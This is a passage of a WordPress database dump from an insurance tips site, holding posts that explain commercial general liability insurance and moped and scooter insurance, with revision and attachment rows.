bodily injury, personal injury, and property damage caused by the business’s operations, products, or injuries that occur on the business’s premises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Commercial general liability insurance is considered comprehensive business insurance, though it does not cover all risks that a business may face.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Commercial general liability insurance is a form of comprehensive insurance that offers coverage in case of damage or injury caused by a business’s operations or products, or on its premises. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are two types of CGL policies: a claims-made policy that covers claims regardless of when the event took place, and an occurrence policy where the event must take place during a set period.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Companies can add other companies or individuals they contract with to their commercial liability insurance policy as an “additional insured.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability policies may cover the cost of any accidental damages as a result of the business\' operations or the legal costs of defending a suit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability does not provide protection against intentional damages, or any type of accident involving automobiles, aircraft, or watercraft.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-7\">Understanding Commercial General Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-8\">Premises Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Commercial general liability policies have different levels of coverage. A policy may include premises coverage, which protects the business from claims that occur on the business’s physical location during regular business operations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">It may also include coverage for bodily injury and property damage that is the result of a finished product or service done at another location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Excess Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Commercial insurance companies also sell excess liability coverage, which can be purchased in order to cover claims that exceed the limit of the CGL policy.3 Some commercial general liability policies may have exclusions that restrict what actions are covered. For example, a policy may not cover the costs associated with a product recall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">Claims-Made vs. Occurrence Policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">When purchasing commercial general liability insurance, it is important for the business to differentiate between a claims-made policy and an occurrence policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A claims-made policy provides coverage for whenever a claim is made, regardless of when the claim event happened. An occurrence policy covers claims where the claim event occurred during the time of the policy even if the policy is now expired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Other Types of Policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">In addition to commercial general liability policies, businesses may also purchase policies that provide coverage for other business risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">For example, the business may purchase employment practices liability coverage to protect itself from claims associated with sexual harassment, wrongful termination, and discrimination. It may also purchase insurance to cover errors and omissions made in financial reporting statements, as well as coverage for damages, resulting from the actions of its directors and officers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Warning: A typical commercial general insurance policy covers accidental damage or injuries but does not cover injuries that are intentional or could be expected to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Special Considerations&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Depending on its business needs, a company may need to name other companies or persons as \"additional insured\" under its commercial liability insurance policy. This is common when businesses enter into a contract with another entity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">For example, if an automobile repair garage enters into a contract with ABC Co. to have the latter provide cleaning services for its facility, ABC Co. may require the garage owners to add ABC Co. as \"additional insured\" on its commercial general liability coverage policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Examples of Commercial General Liability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some examples that would require CGL include the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-36\"><!-- wp:list-item -->\n<li>A customer enters a place of business where the floors have recently been cleaned and polished, and as a result, are very slippery. The customer slips on the floor and breaks a leg.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>One of the employees of an electrical company visits a home for an electrical wiring job and accidentally causes a fire in the customer\'s home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An advertisement placed by the business results in an individual claiming libel or slander.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">In each of these cases, a commercial general liability policy might cover the cost of hiring lawyers to defend the company or the cost of settling the claims. If a business has frequent claims against its CGL insurance, the insurer might raise the premium costs of the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Damages Does CGL Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Commercial general liability insurance covers injuries to a person or property damage that occurs on the premises of a business. This type of policy can also protect a business from claims of slander, libel, or advertising injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Commercial General Liability Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Naturally, the cost of commercial general liability insurance depends on the size of the business being insured, the riskiness of its business operations, and the amount of coverage needed. Some insurers say that their clients pay between $300 and $600 for a million dollars of insurance coverage. Others say their clients may pay as much as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Not Covered Under Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most CGL policies do not cover intentional or expected damage by the insured. They also do not cover damages due to intoxication (in alcohol-related businesses), pollution, automobiles or other vehicles, damage to a business\' work, or additional liabilities that the insured might take on. A business that is involved in these types of risks should purchase additional insurance in order to be fully covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">You can protect your business from a variety of risks, including the risk of a lawsuit arising from everyday business activities, with the purchase of a commercial general liability policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">CGL policies cover claims of property damage, personal injury (such as libel or slander), bodily injury, and advertising injury. This coverage will help you pay attorney fees or settlement costs in the event of a lawsuit. And you can augment your coverage with extensions that cover errors and omissions, excess liability, or employment practices liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">You can\'t predict what will happen in the future, but you can cover your business and reduce your risk with a CGL policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/commercial-general-liability-cgl.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','What Does Commercial General Liability (CGL) Insurance Cover?','','publish','closed','closed','','what-does-commercial-general-liability-cgl-insurance-cover-2','','','2024-01-29 23:18:29','2024-01-29 23:18:29','',0,'https://smartinsurance.tips/?p=3790',0,'post','',0),(3791,1,'2024-01-29 23:15:36','2024-01-29 23:15:36','','Untitled-57','','inherit','closed','closed','','untitled-57','','','2024-01-29 23:15:36','2024-01-29 23:15:36','',3790,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-57.png',0,'attachment','image/png',0),(3792,1,'2024-01-29 23:18:29','2024-01-29 23:18:29','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3791,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-57-1024x1024.png\" alt=\"\" class=\"wp-image-3791\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-1\">Commercial general liability (CGL) insurance is a type of policy that provides coverage to a business for bodily injury, personal injury, and property damage caused by the business’s operations, products, or injuries that occur on the business’s premises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-3\">Commercial general liability insurance is considered comprehensive business insurance, though it does not cover all risks that a business may face.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Commercial general liability insurance is a form of comprehensive insurance that offers coverage in case of damage or injury caused by a business’s operations or products, or on its premises. </li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>There are two types of CGL policies: a claims-made policy that covers claims regardless of when the event took place, and an occurrence policy where the event must take place during a set period.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Companies can add other companies or individuals they contract with to their commercial liability insurance policy as an “additional insured.”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability policies may cover the cost of any accidental damages as a result of the business\' operations or the legal costs of defending a suit.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Commercial general liability does not provide protection against intentional damages, or any type of accident involving automobiles, aircraft, or watercraft.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-7\">Understanding Commercial General Liability Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-8\">Premises Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-9\">Commercial general liability policies have different levels of coverage. A policy may include premises coverage, which protects the business from claims that occur on the business’s physical location during regular business operations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">It may also include coverage for bodily injury and property damage that is the result of a finished product or service done at another location.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-13\">Excess Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-14\">Commercial insurance companies also sell excess liability coverage, which can be purchased in order to cover claims that exceed the limit of the CGL policy.3 Some commercial general liability policies may have exclusions that restrict what actions are covered. For example, a policy may not cover the costs associated with a product recall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-16\">Claims-Made vs. Occurrence Policy</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">When purchasing commercial general liability insurance, it is important for the business to differentiate between a claims-made policy and an occurrence policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">A claims-made policy provides coverage for whenever a claim is made, regardless of when the claim event happened. An occurrence policy covers claims where the claim event occurred during the time of the policy even if the policy is now expired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Other Types of Policies</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">In addition to commercial general liability policies, businesses may also purchase policies that provide coverage for other business risks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">For example, the business may purchase employment practices liability coverage to protect itself from claims associated with sexual harassment, wrongful termination, and discrimination. It may also purchase insurance to cover errors and omissions made in financial reporting statements, as well as coverage for damages, resulting from the actions of its directors and officers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Warning: A typical commercial general insurance policy covers accidental damage or injuries but does not cover injuries that are intentional or could be expected to happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Special Considerations&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">Depending on its business needs, a company may need to name other companies or persons as \"additional insured\" under its commercial liability insurance policy. This is common when businesses enter into a contract with another entity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">For example, if an automobile repair garage enters into a contract with ABC Co. to have the latter provide cleaning services for its facility, ABC Co. may require the garage owners to add ABC Co. as \"additional insured\" on its commercial general liability coverage policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-33\">Examples of Commercial General Liability</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-34\">Some examples that would require CGL include the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-36\"><!-- wp:list-item -->\n<li>A customer enters a place of business where the floors have recently been cleaned and polished, and as a result, are very slippery. The customer slips on the floor and breaks a leg.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>One of the employees of an electrical company visits a home for an electrical wiring job and accidentally causes a fire in the customer\'s home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An advertisement placed by the business results in an individual claiming libel or slander.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-38\">In each of these cases, a commercial general liability policy might cover the cost of hiring lawyers to defend the company or the cost of settling the claims. If a business has frequent claims against its CGL insurance, the insurer might raise the premium costs of the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Damages Does CGL Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Commercial general liability insurance covers injuries to a person or property damage that occurs on the premises of a business. This type of policy can also protect a business from claims of slander, libel, or advertising injury.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Commercial General Liability Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Naturally, the cost of commercial general liability insurance depends on the size of the business being insured, the riskiness of its business operations, and the amount of coverage needed. Some insurers say that their clients pay between $300 and $600 for a million dollars of insurance coverage. Others say their clients may pay as much as $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Not Covered Under Commercial General Liability Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most CGL policies do not cover intentional or expected damage by the insured. They also do not cover damages due to intoxication (in alcohol-related businesses), pollution, automobiles or other vehicles, damage to a business\' work, or additional liabilities that the insured might take on. A business that is involved in these types of risks should purchase additional insurance in order to be fully covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-46\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">You can protect your business from a variety of risks, including the risk of a lawsuit arising from everyday business activities, with the purchase of a commercial general liability policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">CGL policies cover claims of property damage, personal injury (such as libel or slander), bodily injury, and advertising injury. This coverage will help you pay attorney fees or settlement costs in the event of a lawsuit. And you can augment your coverage with extensions that cover errors and omissions, excess liability, or employment practices liability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">You can\'t predict what will happen in the future, but you can cover your business and reduce your risk with a CGL policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/c/commercial-general-liability-cgl.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','What Does Commercial General Liability (CGL) Insurance Cover?','','inherit','closed','closed','','3790-revision-v1','','','2024-01-29 23:18:29','2024-01-29 23:18:29','',3790,'https://smartinsurance.tips/?p=3792',0,'revision','',0),(3793,1,'2024-01-29 23:22:20','2024-01-29 23:22:20','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3794,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/rsz_1untitled_58.png\" alt=\"\" class=\"wp-image-3794\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters can make commuting a breeze. With small engines and compact frames, you can zip around town without guzzling gas or struggling to find a good parking spot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But for all the convenience of a moped or scooter, it could come with an extra cost: You may need to buy insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are There Differences Between Scooter Insurance and Moped Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are no fundamental differences between scooter insurance and moped insurance. Because both mopeds and scooters are two-wheeled vehicles, they both fall under the motorcycle insurance category with most insurance companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Insurance needs for a moped or scooter generally align—even if the specifications of the vehicle differ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">What Is the Difference Between a Moped and Scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters are both small, two-wheeled vehicles powered by gasoline engines, but the maximum speed and engine size vary. State law definitions of mopeds and scooters can differ, so look to your state’s department of motor vehicles (DMV) for clarification.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In general, the key differences between mopeds and scooters are:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Mopeds</strong>&nbsp;typically have an engine that is up to 50 cubic centimeters (50cc) and are not intended for highway travel. Top speed usually does not exceed 30 mph.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Scooters</strong>&nbsp;often have larger engines that exceed 50cc (sometimes up to 250cc) and the most powerful ones can reach speeds up to 75 mph. You may not be able to ride your scooter on a highway, depending on your state’s engine size and horsepower minimums.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Mopeds and scooters should not be confused with the e-scooters commonly seen on the streets and sidewalks of many U.S. cities. E-scooters are typically battery-powered, don’t require a driver’s license and often can’t surpass 15 to 20 mph. Since e-scooters require users to stand, they may be excluded from moped, scooter and motorcycle insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most states require you to carry liability insurance to ride your moped or scooter on public roads if it has an engine size of 50cc or larger or can reach a top speed of 30 mph or more. If your moped is under 50cc or cannot reach 30 mph, you will most likely not be required to get insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A car insurance policy isn’t suitable for a moped or scooter. Most insurance companies cover mopeds and scooters under their motorcycle insurance policies, though some insurers offer separate policies for mopeds or scooters. If you lease or finance a moped or scooter, the lender or leasing company will likely require that you insure it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Your State Require Moped or Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Not every state requires moped or scooter insurance. For example, Arizona, Pennsylvania and Texas require moped or scooter insurance, but Florida does not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some state insurance laws are more complicated, such as California, and may require insurance for a scooter but not a moped. And other states base insurance mandates on specific factors, such as the vehicle’s top speed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, New York has separate classes for mopeds and scooters—which it places both under the banner of “limited-use motorcycles”—based on the vehicle’s top speed range. Depending on where your moped or scooter falls determines if it needs insurance, as well as other items, like where it may be driven.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To learn what the laws are in your state, you can:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Check with your auto insurance company or insurance agent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Contact your state’s department of motor vehicles.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Does Moped and Scooter Insurance Cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter insurance generally includes coverage types similar to motorcycle and car insurance, such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Bodily Injury and Property Damage Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moped and scooter bodily injury liability insurance covers injuries you accidentally cause others in an accident. Property damage liability pays for damage you accidentally cause to someone else’s property, such as a car, fence or pole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Collision and Comprehensive Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Collision and comprehensive insurance are separate, optional coverage types, but are often sold together. If you have a lease or loan on your moped or scooter, your leasing company or lender will likely require you to carry these coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Collision insurance pays for repairs if your moped or scooter is damaged in an accident, regardless of fault.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Comprehensive insurance covers problems such as theft and damage to your moped or scooter from vandalism, flood, fire, falling objects or striking an animal.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Carried Contents and Belongings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Carried contents and belonging coverage pays if your belongings are damaged, stolen or lost while you’re riding the moped or scooter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Medical Payments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Medical payments coverage, also known as MedPay, covers medical bills and funeral costs for you or your passengers if you’re in an accident, no matter who was at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Uninsured or Underinsured Motorists</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Uninsured motorist insurance pays for you and your passengers’ medical bills, lost income and other expenses if someone crashes into you and they do not have liability insurance. Underinsured motorist insurance pays for your injuries if the at-fault driver does not have adequate liability insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Moped and Scooter Insurance Discounts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you insure a moped or scooter you may be able to score a discount such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Multi-policy discount.</strong> Bundling insurance is when you buy two or more policies from one insurance company and get a discount. You may be able to bundle moped or scooter coverage with another insurance type, such as auto, home, RV or boat insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Multi-vehicle discount.</strong>&nbsp;When you insure more than one vehicle, such as a car, motorcycle, moped, ATV or snowmobile, you might get a discount. You may also qualify for a multi-vehicle discount if you insure at least two mopeds or scooters.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Safety discount.</strong>&nbsp;If you take an approved moped or scooter safety course, you may be able to pick up a discount.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Storage discount.</strong>&nbsp;Some companies give discounts if you keep the moped or scooter in a garage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Is Moped and Scooter Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Moped and scooter insurance can be as cheap as $4 to $6 per month.</strong> For example, scooter insurance through Progressive is as low as $75 a year for basic liability insurance. A company called Voom sells pay-per-mile coverage for mopeds and scooters that it says costs as little as $50 a year. Those prices are inexpensive compared to how much motorcycle insurance costs, which is an average of $178 per month, according to Forbes Advisor’s analysis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> To find the best deal on moped and scooter insurance, compare quotes from multiple insurers—starting with your current insurance company for car, home or renters insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cost for moped and scooter insurance depends on factors such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Coverage you choose</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Driving record</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Engine size</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Location of your home</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Mileage</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Model, make and vehicle year of moped or scooter</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Years of riding experience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your age</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Do I Need Insurance If I Rent a Moped, Scooter or E-Scooter?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Insurance laws vary by location regarding mopeds, scooters and e-scooters insurance, so depending on the state and city you’re renting in, you may need insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before hopping on a rented moped, scooter, e-bike or e-scooter, review the rental agreement’s terms of service to see if any insurance is provided or if you’re left personally liable and responsible if you don’t buy your own insurance. Ask for clarification if you’re uncertain about whether insurance is required and what—if any—coverage is included with the rental contract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For instance, the Texas Department of Insurance notes some cities in Texas require scooter rental companies to have insurance coverage, but this mainly covers damage to public property, not injuries or other property damage, like damage to a vehicle you crash into.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Will My Car Insurance Cover a Rented Moped, Scooter or E-scooter?</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Don’t assume your car insurance will extend to a rental of a moped, 